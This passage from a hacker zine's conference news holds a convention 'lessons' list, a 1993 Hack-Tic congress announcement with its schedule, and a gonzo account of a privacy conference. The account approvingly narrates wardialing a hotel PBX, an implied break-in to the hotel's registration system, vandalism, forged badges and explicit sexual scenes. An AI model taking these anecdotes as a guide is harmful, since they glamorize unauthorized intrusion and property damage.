#8) Hotel Security is worse than Mall Security.

#9) The payphones in the lobby are not meant to be free.

#10) Do not climb through the ceiling to get to the room with the PBX in it.

#11) Do not glue the locks shut on an entire floor of the hotel. (especially when people are in them)

#12) This machine is broken.

#13) Do not dump bags you got trashing on the floor of someone else's room.

#14) St. Louis police do not appreciate the finer points of Simplex lock hacking.

#15) VaxBuster should never be allowed to drink Everclear.

#16) Scribbles has a very nice ass.

#17) Do not photograph Pakistani hotel security guards.

#18) Do not try to bring a six pack through customs.

#19) Loki is the Fakemail God.

#20) Do not rip the phone boxes out of the walls and cut the wires.

#21) Barbie Doll pornos can be cool.

#22) Frosty can do weird things with techno and movies.

#23) Always remove the mirrors from the walls to check for hidden cameras.

#24) Do not threaten or harass other people staying at the same hotel. This can be bad.

#25) I really don't think the hotel will let us come back.

That wraps it up! See you at HoHoCon!

‑Darkangel

****************************************

Hack‑Tic Presents

H A C K I N G

at the E N D of the

U N I V E R S E

1993 SUMMER CONGRESS, THE NETHERLANDS

========================================

HEU?

Remember the Galactic Hacker Party back in 1989? Ever wondered what happened to the people behind it? We sold out to big business, you think. Think again, we're back!

That's right. On august 4th, 5th and 6th 1993, we're organizing a three‑day summer congress for hackers, phone phreaks, programmers, computer haters, data travellers, electro‑wizards, networkers, hardware freaks, techno‑anarchists, communications junkies, cyberpunks, system managers, stupid users, paranoid androids, Unix gurus, whizz kids, warez dudes, law enforcement officers (appropriate undercover dress required), guerilla heating engineers and other assorted bald, long‑haired and/or unshaven scum. And all this in the middle of nowhere (well, the middle of Holland, actually, but that's the same thing) at the Larserbos campground four meters below sea level.

The three days will be filled with lectures, discussions and workshops on hacking, phreaking, people's networks, Unix security risks, virtual reality, semafun, social engineering, magstrips, lockpicking, viruses, paranoia, legal sanctions against hacking in Holland and elsewhere and much, much more. English will be the lingua franca for this event, although one or two workshops may take place in Dutch. There will be an Internet connection, an intertent ethernet and social interaction (both electronic and live). Included in the price are four nights in your own tent. Also included are inspiration, transpiration, a shortage of showers (but a lake to swim in), good weather (guaranteed by god), campfires and plenty of wide open space and fresh air. All of this for only 100 dutch guilders (currently around US$70).

We will also arrange for the availability of food, drink and smokes of assorted types, but this is not included in the price. Our bar will be open 24 hours a day, as well as a guarded depository for valuables (like laptops, cameras etc.). You may even get your stuff back! For people with no tent or air mattress: you can buy a tent through us for 100 guilders, a mattress costs 10 guilders. You can arrive from 17:00 (that's five p.m. for analogue types) on August 3rd. We don't have to vacate the premises until 12:00 noon on Saturday, August 7 so you can even try to sleep through the devastating Party at the End of Time (PET) on the closing night (live music provided). We will arrange for shuttle buses to and from train stations in the vicinity.

HOW?

Payment: in advance please. Un‑organized, poor techno‑freaks like us would like to get to the Bahamas at least once. We can only guarantee you a place if you pay before Friday June 25th, 1993. If you live in Holland, just transfer fl. 100 to giro 6065765 (Hack‑Tic) and mention 'HEU' and your name. If you're in Germany, pay DM 100,‑ to Hack‑Tic, Konto 2136638, Sparkasse Bielefeld, BLZ 48050161. If you live elsewhere: call, fax or e‑mail us for the best way to get the money to us from your country. We accept American Express, we do NOT cash ANY foreign cheques.

HA!

Very Important: Bring many guitars and laptops.

ME?

Yes, you! Busloads of alternative techno‑freaks from all over the planet will descend on this event. You wouldn't want to miss that, now, would you?

Maybe you are part of that select group that has something special to offer! Participating in 'Hacking at the End of the Universe' is exciting, but organizing your very own part of it is even more fun. We already have a load of interesting workshops and lectures scheduled, but we're always on the lookout for more. We're also still in the market for people who want to help us organize during the congress.

In whatever way you wish to participate, call, write, e‑mail or fax us soon, and make sure your money gets here on time. Space is limited.

SO:

‑ 4th, 5th and 6th of August

‑ Hacking at the End of the Universe

(a hacker summer congress)

‑ ANWB groepsterrein Larserbos

Zeebiesweg 47

8219 PT Lelystad

The Netherlands

‑ Cost: fl. 100,‑ (+/‑ 70 US$) per person

(including 4 nights in your own tent)

MORE INFO:

Hack‑Tic

Postbus 22953

1100 DL Amsterdam

The Netherlands

tel : +31 20 6001480

fax : +31 20 6900968

E‑mail : heu@hacktic.nl

VIRUS:

If you know a forum or network that you feel this message belongs on, by all means slip it in. Echo‑areas, your favorite bbs, /etc/motd, IRC, WP.BAT, you name it. Spread the worm, uh, word.

========================================

SCHEDULE

day 0 August 3rd, 1993

=====

16:00 You are welcome to set up your tent

19:00 Improvised Dinner

day 1 August 4th, 1993

=====

11:00‑12:00 Opening ceremony

12:00‑13:30 Workshops

14:00‑15:30 Workshops

15:30‑19:00 'Networking for the Masses' 16:00‑18:00 Workshops 19:00‑21:00 Dinner

21:30‑23:00 Workshops

day 2 August 5th, 1993

=====

11:30‑13:00 Workshops

14:00‑17:00 Phreaking the Phone 14:00‑17:00 Workshops 17:30‑19:00 Workshops

19:00‑21:00 Dinner

day 3 August 6th, 1993

=====

11:30‑13:00 Workshops

14:00‑18:00 Hacking (and) The Law 14:00‑17:00 Workshops 18:00‑19:00 Closing ceremony

19:00‑21:00 Barbeque

21:00‑??:?? Party at the End of Time (Live Music)

day 4 August 7th, 1993

=====

12:00 All good things come to an end

========================================

'Networking for the masses', Wednesday August 4th 1993, 15:30

One of the main discussions at the 1989 Galactic Hacker Party focused on whether or not the alternative community should use computer networking. Many people felt a resentment against using a 'tool of oppression' for their own purposes. Computer technology was, in the eyes of many, something to be smashed rather than used.

Times have changed. Many who were violently opposed to using computers in 1989 have since discovered word‑processing and desktop publishing. Even the most radical groups have replaced typewriters with PCs. The 'computer networking revolution' has begun to affect the alternative community.

Not all is well: many obstacles stand in the way of the 'free flow of information.' Groups with access to information pay such high prices for it that they are forced to sell information they'd prefer to pass on for free. Some low‑cost alternative networks have completely lost their democratic structure. Is this the era of the digital dictator, or are we moving towards digital democracy?

To discuss these and other issues, we've invited the following people who are active in the field of computer networking: [Electronic mail addresses for each of the participants are shown in brackets.]

Ted Lindgreen (ted@nluug.nl) is managing director of nlnet. Nlnet is the largest commercial TCP/IP and UUCP network provider in the Netherlands.

Peter van der Pouw Kraan (peter@hacktic.nl) was actively involved in the squat‑movement newsletters 'Bluf!' and 'NN' and has outspoken ideas about technology and its relation to society. Had a PC all the way back in 1985!

Maja van der Velden (maja@agenda.hacktic.nl) is from the Agenda Foundation which sets up and supports communication and information projects.

Joost Flint (joost@aps.hacktic.nl) is from the Activist Press Service. APS has a bbs and works to get alternative‑media and pressure groups online.

Felipe Rodriquez (nonsenso@utopia.hacktic.nl) is from the Hack‑Tic Network which grew out of the Dutch computer underground and currently connects thousands of people to the global Internet.

Andre Blum (zabkar@roana.hacktic.nl), is an expert in the field of wireless communications.

Eelco de Graaff (Eelco.de.Graaff@p5.f1.n281.z2.fidonet.org) is the nethost of net 281 of FidoNet, EchoMail troubleshooter, and one of the founders of the Dutch Fidonet Foundation.

Michael Polman (michael@antenna.nl) of the Antenna foundation is a consultant in the field of international networking. He specialises in non‑governmental networks in the South.

Alfred Heitink (alfred@antenna.nl) is a social scientist specializing in the field of computer‑mediated communication as well as system manager at the Dutch Antenna host.

Rena Tangens (rena@bionic.zer.de), was involved in the creation of the Bionic Mailbox in Bielefeld (Germany) and the Zerberus mailbox network. She is an artist and wants to combine art and technology.

The discussion will be led by freelance radiomaker and science journalist Herbert Blankesteyn. He was involved in the 'Archie' children's bbs of the Dutch VPRO broadcasting corporation.

========================================

'Phreaking the Phone', Thursday August 5th 1993, 14:00

Your own telephone may have possibilities you never dreamed possible. Many years ago people discovered that one could fool the telephone network into thinking you were part of the network and not just a customer. As a result, one could make strange and sometimes free phonecalls to anywhere on the planet. A subculture quickly formed.

The phone companies got wise and made a lot of things (nearly) impossible. What is still possible today? What is still legal today? What can they do about it? What are they doing about it?

Billsf (bill@tech.hacktic.nl) and M. Tillman, a few of the worlds best phreaks, will introduce the audience to this new world. Phone phreaks from many different countries will exchange stories of success and defeat. Your life may never be the same.

========================================

'Hacking (and) The Law', Friday August 6th, 14:00

You can use your own computer and modem to access some big computer system at a university without the people owning that computer knowing about it. For years this activity was more or less legal in Holland: if you were just looking around on the Internet and didn't break anything nobody really cared too much...

That is, until shortly before the new computer crime law went into effect. Suddenly computer hackers were portrayed as evil 'crashers' intent on destroying systems or, at least, looking into everyone's files.

The supporters of the new law said that it was about time something was done about it. Critics of the law say it's like hunting mosquitoes with a machine‑gun. They claim the aforementioned type of hacking is not the real problem and that the law is excessively harsh.

To discuss these issues we've invited a panel of experts, some of whom are, or have been, in touch with the law in one way or another.

Harry Onderwater (fridge@cri.hacktic.nl), is technical EDP auditor at the Dutch National Criminal Intelligence Service (CRI) and is responsible for combatting computer crime in the Netherlands. He says he's willing to arrest hackers if that is what it takes to make computer systems secure.

Prof. Dr. I.S. (Bob) Herschberg (herschbe@dutiws.twi.tudelft.nl), gained a hacker's control over his first system 21 years ago and never ceased the good work. Now lecturing, teaching and publishing on computer insecurity and imprivacy at the technical university in Delft. His thesis: 'penetrating a system is not perpetrating a crime'.

Ronald 'RGB' O. (rgb@utopia.hacktic.nl) has the distinction of being the only Dutch hacker arrested before and after the new law went into effect. He is a self‑taught UNIX security expert and a writer for Hack‑Tic Magazine.

Ruud Wiggers (ruudw@cs.vu.nl), system manager at the Free University (VU) in Amsterdam, has for 10 years been trying to plug holes in system security. He was involved in the RGB arrest.

Andy Mueller‑Maguhn (andy@cccbln.ccc.de) is from the Chaos Computer Club in Germany.

Eric Corley (emmanuel@eff.org) a.k.a. Emmanuel Goldstein is editor of the hacker publication '2600 magazine'. The first person to realize the huge implications of the government crackdown on hackers in the US.

Winn Schwartau (wschwartau@mcimail.com) is a commercial computer security advisor as well as the author of the book 'Terminal Compromise'. His new book entitled 'Information Warfare' has just been released.

Ray Kaplan (kaplan@bpa.arizona.edu) is a computer security consultant. He is constantly trying to bridge the gap between hackers and the computer industry. He organizes 'meet the enemy' sessions where system managers can teleconference with hackers.

Wietse Venema (wietse@wzv.win.tue.nl) is a systems expert at the Technical University in Eindhoven. He is the author of some very well known utilities to monitor hacking on unix systems. He has a healthy suspicion of anything technical.

Peter Klerks (klerks@rulfsw.leidenuniv.nl) is a scientist at the centre for the study of social antagonism at the Leiden University. He has studied the Dutch police force extensively, and is author of the book 'Counterterrorism in the Netherlands.'

Don Stikvoort (stikvoort@surfnet.nl), one of the computer security experts for the Dutch Academic Society and chairman of CERT‑NL (Computer Emergency Response Team). He is also actively involved in SURFnet network management.

Rop Gonggrijp (rop@hacktic.nl) was involved in some of the first computer break‑ins in the Netherlands during the 80's and is now editor of Hack‑Tic Magazine.

The discussion will be led by Francisco van Jole (fvjole@hacktic.nl), journalist for 'De Volkskrant'.

========================================

WORKSHOPS

HEUnet introduction

an introduction to the Hacking at the End of the Universe network.

Jumpstart to VR, 3D world‑building on PC's

Marc Bennett, editor of Black Ice magazine, will explain how to design worlds on your own PC which can be used in Virtual Reality systems.

Replacing MS/DOS, Running UNIX on your own PC

People who are already running unix on their PCs will tell you what unix has to offer and they'll talk about the different flavours in cheap or free unix software available.

Unix security

RGB and fidelio have probably created more jobs in the unix security business than the rest of the world put together. They'll talk about some of the ins and outs of unix security.

E‑mail networking

Should we destroy X400 or shall we let it destroy itself?

'User Authorization Failure'

A quick introduction to the VAX/VMS Operating System for those that consider a career in VMS security.

'The right to keep a secret'

Encryption offers you the chance to really keep a secret, and governments know it. They want you to use locks that they have the key to. The fight is on!

'Virus about to destroy the earth!'. Don't believe the hype! What is the real threat of computer viruses? What technical possibilities are there? Are we being tricked by a fear‑machine that runs on the money spent on anti‑virus software?

'It came out of the sky'

'Receiving pager information and what not to do with it'. Information to pagers is sent through the air without encryption. Rop Gonggrijp and Bill Squire demonstrate a receiver that picks it all up and present some spooky scenarios describing what one could do with all that information.

Cellular phones and cordless phones

How do these systems work, what frequencies do they use, and what are the differences between different systems world‑wide?

Zen and the art of lock‑picking.

In this workshop The Key will let you play with cylinder locks of all types and tell you of ingenious ways to open them.

"Doesn't mean they're not after you"

The secret services and other paranoia.

Audio Adventures

Steffen Wernery and Tim Pritlove talk about adventure games that you play using a Touch Tone telephone.

Botanical Hacking (THC++)

Using computers, modems and other high tech to grow.

Wireless LAN (Data Radio)

How high a data rate can you pump through the air, and what is still legal?

Social Engineering

The Dude, well known from his articles in Hack‑Tic, will teach you the basics of social engineering, the skill of manipulating people within bureaucracies.

'Hacking Plastic'

Tim and Billsf talk about the security risks in chip‑cards, magnetic cards, credit cards and the like.

Antenna Host Demo

The Antenna Foundation is setting up and supporting computer networks, mainly in the South. They are operating a host system in Nijmegen, The Netherlands, and they will demonstrate it in this workshop, and talk about their activities.

APS Demo

APS (Activist Press Service) is operating a bbs in Amsterdam, The Netherlands. You'll see it and will be able to play with it 'hands‑on'.

'Hocking the arts'

Benten and Marc Marc are computer artists. They present some of their work under the motto: Hocking the arts, demystifying without losing its magic contents.

Public Unix Demo

Demonstrating the Hack‑Tic xs4all public unix, as well as other public unix systems.

Packet Radio Demo

Showing the possibilities of existing radio amateur packet radio equipment to transport packets of data over the airwaves.

========================================

COMPUTERS AT 'HACKING AT THE END OF THE UNIVERSE'

This will get a little technical for those who want to know what we're going to set up. If you don't know much about computers, just bring whatever you have and we'll see how and if we can hook it up.

We're going to have ethernet connected to Internet (TCP/IP). You can connect by sitting down at one of our PC's or terminals, by hooking up your own equipment (we have a depository, so don't worry about theft), or by using one of our 'printerport <‑‑> ethernet' adapters and hooking up laptops and notebooks that way. There may be a small fee involved here, we don't know what they're going to cost us. Contact us for details, also if you have a few of these adapters lying around. There might also be serial ports you can connect to using a nullmodem cable.

You can log in to our UNIX system(s) and send and receive mail and UseNet news that way. Every participant that wants one can get her/his own IP number to use worldwide. Users of the network are urged to make whatever files they have on their systems available to others over the ethernet. Bring anything that has a power cord or batteries and let's network it!

========================================

‑‑

Hstorm ++31 2230 60551

Conference News Part II

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 8 of 27

CONFERENCE NEWS

PART II

****************************************

Fear & Loathing in San Francisco

By Some Guy

(The names have been changed to protect the guilty.)

1. The Arrival

I had been up for about 48 hours by the time America West dropped me off at San Francisco's airport. The only thing I could think about was sleep. Everything took on strange dreamlike properties as I staggered through the airport looking for the baggage claim area. Somehow, I found myself on an airport shuttle headed towards the Burlingame Marriott. Suddenly I was standing in front of an Iranian in a red suit asking me for a major credit card. After a quick shuffle of forms at the checkin counter I finally had the cardkey to my room and was staggering toward a nice warm bed.

Once in the room I fell down on the bed, exhausted. Within the space of a few minutes I was well on my way to Dreamland. Within the space of a few more minutes I was slammed back into reality as someone came barreling into the room. Mr. Blast had arrived from Chitown with a bag full of corporate goodies. I accepted a shirt and told him to get lost. No sooner had he left than Fitzgerald burst in with enough manuals to stock a small college's technical library. After griping for nearly 30 minutes at the fact that I had neglected to likewise bring 500 pounds of 5ess manuals for him, Fitzgerald took off.

Sleep.

2. Mindvodxka

After several needed hours rest, I took off downstairs to scope out the spread. I ran into Bruce Sterling who relayed some of the mornings events, the highlight of which was Don Delaney's "Finger Hackers" the inner city folks who sequentially dial, by hand, every possible combination of pbx code to then sell on street corners.

Out of the corner of my eye I spotted two young turks dressed like mafioso: RBOC & Voxman. I wandered over and complimented them on their wardrobe and told them to buy me drinks. Beer. Beer. More beer. Screwdrivers. Screwdrivers. Last call. Last screwdriver.

RBOC and I decided that it was our calling to get more drinks. We took off to find a bar. Upon exiting the hotel we realized that we were in the middle of fucking nowhere. We walked up and down the street, rapidly getting nowhere. In our quest for booze, we managed to terrorize a small oriental woman at a neighboring hotel who, after 10 minutes of our screaming and pounding, finally opened up the door to her office wide enough to tell us there were no bars within a 15 mile radius.

We went back to the hotel very distraught.

We went back to RBOC's room where Voxman was sampling a non‑tobacco smoke. We bitched about the lack of watering holes in the vicinity, but he was rather unsympathetic. After he finished his smoke and left the room, we decided to order a bottle of vodka through room service and charge it to Voxman since it was roughly 50 dollars.

RBOC called up room service and started to barter with the clerk about the bottle. "Look, tell you what," he said, "I've got twenty bucks. You meet me out back with two bottles. I give you the twenty and you keep one of the bottles for yourself."

"Look man, I know you have about a thousand cases of liquor down there, right? Who's going to miss two bottles? Don't you want to make a few extra bucks? I mean, twenty dollars, that's got to be about what you make in a day, right? I mean, you aren't exactly going to own this hotel any time soon, am I right? So, I'll be down in a few minutes to meet you with the vodka. What do you mean? Look man, I'm just trying to help out another human being. I know how it is, I'm not made out of money either, you know? Listen, I'm from NYC...if someone offers me twenty dollars for nothing, I take it, you know? So, do we have a deal?"

This went on for nearly an hour. Finally RBOC told the guy to just bring up the damn bottle. When it arrived, the food services manager, acting as courier, demanded proof of age, and then refused to credit it to the room. This sparked a new battle, as we then had to track down Voxman to sign for our booze. After that was settled, a new crisis arose: We had no mixer.

The soda machine proved our saviour. Orange Slice for only a dollar a can. We decided to mix drinks half and half. Gathering our fluids, we adjourned to the lobby to join Voxman and a few conventioneers. The vodka went over well with the crew, and many a glass was quaffed over inane conversation about something or other.

Soon the vodka informed me it was bed time.

3. It Begins.

I woke late, feeling like a used condom. I noticed more bags in the room and deduced that X‑con had made it to the hotel. After dressing, I staggered down to the convention area for a panel.

"Censorship and Free Speech on the Networks" was the first one I got to see. The main focus of the panel seemed to be complaints of alt.sex newsgroups and dirty gifs. As these two are among my favorite things about the net, I took a quick disliking of the forum. Nothing was resolved and nothing was stated.

There was a small break during which I found X‑con. We saw a few feds. It was neat. The head of the FBI's computer crime division called me by name. That was not terribly neat.

The next session was called "Portrait of the Artist on the Net." X‑con and I didn't get it. We felt like it was "portrait of the artist on drugs on the net." Weird videos, odd projects, and stream of consciousness rants. Wasn't this a privacy conference? We were confused.

The session gave way to a reception. This would have been uneventful had it not been for two things: 1) an open bar 2) the arrival of the Unknown Hacker. U.H. was probably the most mysterious and heralded hacker on the net. The fact that he showed up in public was monumental.

The reception gave way to dinner, which was uneventful.

4. Let the Beatings Begin

A few days before the con, Mr. Blast had scoured the net looking for dens of inequity at my behest. In alt.sex.bondage he had run across a message referring to "Bondage A Go‑Go." This was a weekly event at a club in the industrial district called "The Bridge." The description on the net described it as a dance club where people liked to dress up in leather and spikes, and women handcuffed to the bar from

9‑11 drank free! This was my kind of place.

On that Wednesday night, I could think of nothing but going out and getting to Bondage A Go‑Go. I pestered X‑con, Mr. Blast and U.H. into going. We tried to get Fender to go too, but he totally lamed out. (This would be remembered as the biggest mistake of his life.)

We eventually found ourselves driving around a very seedy part of San Francisco. On one exceedingly dark avenue we noticed a row of Harleys and their burly owners hanging outside a major dive. We had found our destination.

Cover was five bucks. Once inside we were assaulted by pounding industrial and women in leather. RAD! Beer was a buck fifty. Grabbing a Coors and sparking a Camel, I wandered out to the main dance floor where some kind of event was taking place.

Upon a raised stage several girlies were undulating in their dominatrix get‑ups, slowly removing them piece by piece. A smile began to form. X‑con and U.H. found me and likewise denoted their approval. The strip revue continued for a few songs, with the girlies removing everything but their attitudes.

The lights went up, and a new girl came out. She was followed by a friend carrying several items. The first girl began to read rather obscure poetry as the second undressed her. Once girl1 was free of restrictive undergarments girl2 donned surgical gloves and began pouring generous amounts of lubricant over her hands. As the poetry reached a frantic peak, girl2 slowly inserted her entire hand into girl1.

A woman in the crowd screamed.

My smile was so wide, it hurt.

The fisting continued for an eternity, with girl1 moving around the stage complaining in her poetic rant about how no man could ever satisfy her. (This was of no surprise to me since she had an entire forearm up her twat.) Girl2 scampered around underneath, happily pumping away for what seemed like an hour.

When the performance ended, a very tall woman in hard dominatrix gear sauntered out on the stage. From her Nazi SS cap to her stiletto heels to her riding crop, she was the top of my dreams. Two accomplices tied a seemingly unwilling bottom to the stage and she began striking her repeatedly with the crop, to the beat of something that sounded like KMFDM. The screams filled the club, and drool filled the corners of my mouth.

As the song ended, the girls all came back out on stage and took a bow to deafening applause. Then the disco ball lit up, and Ministry began thundering, and people began to dance like nothing had ever happened. We were a bit stunned.

We all wandered up to the second level where we were greeted by a guy and two girls going at it full on. I staggered dazed to the second story on the opposite side. There was a skinhead getting a huge tattoo and a girl getting a smaller one. I was not brave enough to risk the needle in San Francisco, so I wandered back downstairs. That's where I fell in love.

She was about 5'2", clad in a leather teddy, bobbed blood red hair, carrying a cat o'nine tails. Huge, uh, eyes. Alas, 'twas not to be. She was leading around a couple of boy toys on studded leashes. Although the guys seemed to be more interested in each other than her, I kept away, knowing I would get the hell beaten out of me if I intervened.

As it approached 3:00 am, we decided it was time to go. We bid a fond farewell to the Bridge and took leave.

We all wanted to see Golden Gate, so U.H. directed us towards downtown to the bridge. Passing down Market, we noticed a man lying in a pool of blood before a shattered plate glass window, surrounded by cops.

We eventually reached the Golden Gate Bridge. We drove across to the scenic overlook. Even in the darkness it was rather cool. We took off through the hills and nearly smashed into a few deer with the car. It was almost time for the conference by then, so we decided to get back.

5. Thursday

I made it downstairs for the "Medical Information and Privacy" that morning. As I was walking towards the room, I got a sudden flash of an airlines advertisement. The Pilot had arrived. I was shocked. Here was this guy who used to be one of the evil legionnaires, and he looked like an actor from a delta commercial...blue suit, aviator sunglasses, nappy hat with the little wings. Appalling.

I drug him into the meeting hall where we sat and made MST3K‑like commentary during the panel. I began to get mad that no one had even mentioned the lack of legislation regarding medical records privacy, nor the human genome project. I was formulating my rude commentary for the question period when the last speaker thankfully brought up all these points, and chastised everyone else for not having done so previously. Good job.

I snaked The Pilot a lunch pass, and we grabbed a bite. It was pretty good. I noticed that it was paid for by Equifax or Mead Data Central or some other data‑gathering puppet agency of The Man. No doubt a pathetic ploy to sway our feelings. I ate it anyway.

After lunch, John Perry Barlow got up to bs a bit. The thing that stuck me about Barlow was his rant about the legalization of drugs. Yet another stray from computers & privacy. It must be nice to be rich enough to stand in front of the FBI and say that you like to take acid and think it ought to be legal. I debated whether or not to ask him if he knew where to score any in San Francisco, but decided on silence, since I'm not rich.

I lost all concept of time and space after Barlow's talk, and have no idea what happened between that time and that evening.

6. Birds of a Feather BOF together

That night we went to the Hacker BOF, sponsored by John McMullen. Lots of oldies siting around being superior since it wasn't illegal when they swiped cpu access, and lots of newbies sitting around feeling superior since they had access to far better things than the oldies ever dreamed of.

A certain New York State Policeman had been given the remainder of the bottle of vodka from the previous night. It was gone in record time. Later he was heard remarking about how hackers should get the death penalty. When Emmanuel Goldstein demonstrated his Demon Dialer from the Netherlands, he sat in the corner slamming his fist into his hand muttering, "wait till we get home, you'll get yours."

I went outside and hid. Also hiding outside was Phiber. We exchanged a few glares. He and I had been exchanging glares since our respective arrivals. But neither of us said anything directly to the other. I had heard from several people that Phiber had remarked, "on the third day, I'm gonna get that guy. Just you wait." I was waiting.

I decided that Thursday should be the night we would all go to a strip club. After telling everyone within a 15 mile radius about Bondage A Go‑Go, it was rather easy to work up an interest in this adventure. Me, X‑con, Mr. Blast, U.H. and Fender would be the valiant warriors.

Before making preparations to leave, X‑con and Fitzgerald decided to check out the hotel's PBX. Setting up Tone‑Loc, X‑con's notebook set out banging away at the available block of internals. We decided that the hotel had a 75, and yes, it would be ours, oh yes, it would be ours.

It was a Herculean task to gather the crew. Despite their desire to go, everyone farted around and rounding them up was akin to a cattle drive. Fender cried about having to attend this BOF and that BOF and Mr. Blast cried about being tired, Fitzgerald cried about not being old enough to go, and I just cried. Eventually we gathered our crew and launched.

8. Market Street Madness

We initially went out to locate the Mitchell Brothers club. I had heard that it was quite rad. Totally nude. Lap dancing. Total degradation and objectification. Wowzers.

U.H. said he knew where it was. He was mistaken. The address in the phone book was wrong. It was nowhere to be found. We ended back up on Market surrounded by junkies and would‑be muggers. Thankfully, there were no fresh corpses. I saw a marquee with the banner Traci Topps.

Forcing Mr. Blast to pull over, we made a beeline to the entrance. Cover was ten dollars, and we had missed Traci's last performance. We paid it anyway, since we had bothered to pull over. Big mistake.

Now, when I think of strip clubs, I think of places like Houston's Men's Club, or Atlanta's Gold Club, or Dallas' Fantasy Ranch. Very nice. Hot women. Good music. Booze. Tables.

We entered a room that used to be a theater. Sloping aisles along theater seats side by side. Up on the stage, was a tired, unattractive, heavy set brunette slumping along to some cheesy pop number.

I was instantly disgusted. I felt compelled to tell X‑con that strip clubs were not like this normally, since he had never been to one, and it was my bright idea to be here.

We noticed some old perv at the far end of our row in a trench. It was like out of a bad movie. He was not at all shy about his self‑satisfaction and in fact seemed quite proud of it. He kept trying to get the girls to bend down so he could fondle them. Gross beyond belief. We debated whether or not to point and laugh at him, but decided he might have something more deadly concealed under the trench and tried to ignore it.

Some more furniture passed across the stage. One sauntered over to me and asked if I'd like any company. I asked her what the hell this place was all about. She said that this was the way most places were downtown. I told her that I expected tables, beer, and a happy upbeat tempo. She shrugged and said she didn't know of anything really like that.

On the stage a really cute girl popped up. A shroom on this turd of a club. Fender and I both decided she was ours. Fender said there was no way that I would get the only good looking girl in the place. I said he needed to get real, that it would be no contest.

As soon as she left the stage, Fender disappeared. Later he returned smirking. Moments afterward, the girl appeared and plopped down in his lap. (We found out later he paid her.) He continued his dialogue for about 20 minutes discussing philosophy or something equally stupid to talk to a nude dancer about, and then we got up to leave. She gave him her phone number. (It was the number to the Special Olympics.) We left, and I apologized to everyone.

We took off to Lombard street and fantasized about letting the rental car loose to plummet down the hill, destroying everything in its path. Next time we decided we would.

Then it was decided that it would be a good idea to look for some food. We ended up somewhere where there was some kind of dance club. Everything was closed and there was no food to be seen. Walking down a few side streets looking for food, U.H. decided to tell Fender that he had broken into his machine. Fender turned about 20 shades of green.

We then went back to the Golden Gate Bridge since it never closed and stared out at the bay. Fender began to talk incoherently so it became urgent that we get back to the hotel and put him to bed to dream happy dreams of his stripper Edie.

Back at the hotel X‑con and I could not sleep. The notebook had found a number of carriers. One was for a System V unix. We decided that this was the hotel's registration computer. We knew most used some kind of package like encore, so we...well. :) We also found several odd systems, probably some kind of elevator/ac/power controllers or whatnot.

At 5am or so, X‑con and I took off to explore the hotel. Down in the lobby we found RBOC busily typing away to a TTD operator on the AT&T payphone 2000. He was engrossed in conversation, so we left him to his typing. X‑con started to look around the Hertz counter for anything exciting and set off the alarm. Within seconds security arrived to find me perched on the shoeshine stand and X‑con rapping on the payphone to another hotel. We told him we hadn't seen anyone go behind the counter. He didn't believe us but left anyway.

As we burst into fits of laughter, Mitch Kapor, in shorts and t‑shirt came cruising by and exited through a glass door. We weren't quite sure if he were real so we snuck through the door after him. The door led to the gym. Mitch was busily pedaling away on an exercycle.

X‑con and I decided to explore the hotel since we never even knew there was a gym, and who could tell what other wild and wacky places remained unseen. We took off to find the roof, since that was the most obvious place to go that we should not be. Finding the stairwell with roof access, we charged up to the top landing. The roof was unlocked, but right before opening the hatch, we noticed that there was a small magnetic contact connected to a lead. Not feeling up to disabling alarm systems so late in the evening (or early in the morning), we took off.

On another level, we found the offices. Simplex locks. Amazing. Evil grins began to form, but we wimped out, besides it was damn near convention time.

9. Coffee, Coffee and More Coffee

Outside the convention room the caterers had set up the coffee urns. X‑con and I dove into the java like Mexican cliff jumpers. It got to be really really stupid. We were slamming coffee like there was no tomorrow. Fuck tomorrow, we slammed it like there was no today. I put about eight packets of sugar in each of my cups. Ahh, nothing like a steamin' cup o' joe. By the time we were done we had each drank nearly 20 cups. The world was alive with an electric hum. We were ready to take on the entire convention. Yep. After another cup.

The first panel of the day was "Gender Issues in Computing and Telecommunications." As the talk began, the pig in me grew restless. "What's all this crap?" it said. "Bunch of feminazis bitching about gifs. They should all go to the bridge next Wednesday, that will give them a new perspective. Where's Shit Kickin' Jim when you need him?" Then I got more idealistic in my thinking. "Ok, fine, if women demand equal treatment on the net, then what about equal treatment for homosexuals? What about equal treatment for hermaphrodites? What about equal treatment for one‑legged retired American Indian Proctologists on the net? And let us not forget the plight of the Hairless. Geez. What a load of hooey. I wanted to jump up and yell, "THE NET IS NOT REAL! WORRY ABOUT THE REAL WORLD AND THE NET WILL CHANGE! YOU CANNOT CHANGE REALITY BY CHANGING THE NET!" If only I'd had another cup of coffee, I might have done it.

The women got nothing done. After the panel X‑con and I took off to the room, after getting a few cups of coffee for the elevator ride. We sat in the hotel room and made rude noises until Mr. Blast and Fitzgerald got up. We all fought for the shower and by noon we were ready to venture outward for lunch.

10. Cliffie!

The lunch that day had a few pleasant surprises. The first came in the form of a waitress with HUGE, uh, eyes. Having something of an fetish for big, ahem, eyes, I practiced my patented Manson‑like gaze for her benefit. The second surprise came when a the CFP staffers cornered a couple of people at our table.

KCrow and Xaen had photocopied lunch tickets and forged badges to hang out at the conference. Finally, on the last day, the staffers suddenly decided that these two might not be paying attendees. Whether it was the names on their badges that did not check out, or the fact that Xaen had been walking around in a red and white dress‑like robe the entire day. They let them stay, but told them next time to either make better forgeries or send in their scholarship applications like everyone else.

As lunch drew to a close, the crowd grew restless. A cry rang out, "CLIFFIE!" The crowd took up the cry, and executives began throwing conference papers in the air, stomping their feet and holding up their lit cigarette lighters. "We want Cliffie, we want Cliffie!" The house lights dimmed and a silhouette of frazzled hair appeared at the head of the room.

Well, maybe it wasn't quite like that. Cliff Stoll took the stand and began a stream of consciousness rant that would make someone with a bipolar disorder look lucid. Contorting himself and leaping on tables, Cliff definitely got my attention. It was kind of like watching Emo Philips on crank while tripping. I dug it. If you have the opportunity to catch Cliff on his next tour, make sure to do so. Lorne Michaels could do worse than make some kind of sitcom around this guy. It was probably the most amazing thing I had seen at the official conference.

11. A Little Bit O' History

Fitzgerald heard that there was a Pac Bell museum downtown. This news evoked a Pavlovian response almost as pronounced as me at The Bridge. Me and The Pilot wanted to check it out too so we decided to go. It was like the Warner Bros. cartoon of the big dog and the little dog "huh Spike, we gonna get us a cat, aren't we Spike, yep, we are gonna get that cat, boy, aren't we Spike, yep, yep, boy I can't wait, boy is that darn cat gonna be sorry, isn't he Spike, huh, Spike, huh?" Fitzgerald was psyched.

Driving through downtown San Francisco was kind of like some kind of deranged Nientendo game. The streets were obviously layed out by farm animals. Traffic was disgusting. Of course, 3:30 on Friday afternoon is official road construction time in downtown San Francisco. That was not in my "Welcome To SF" guide, so I penciled it in.

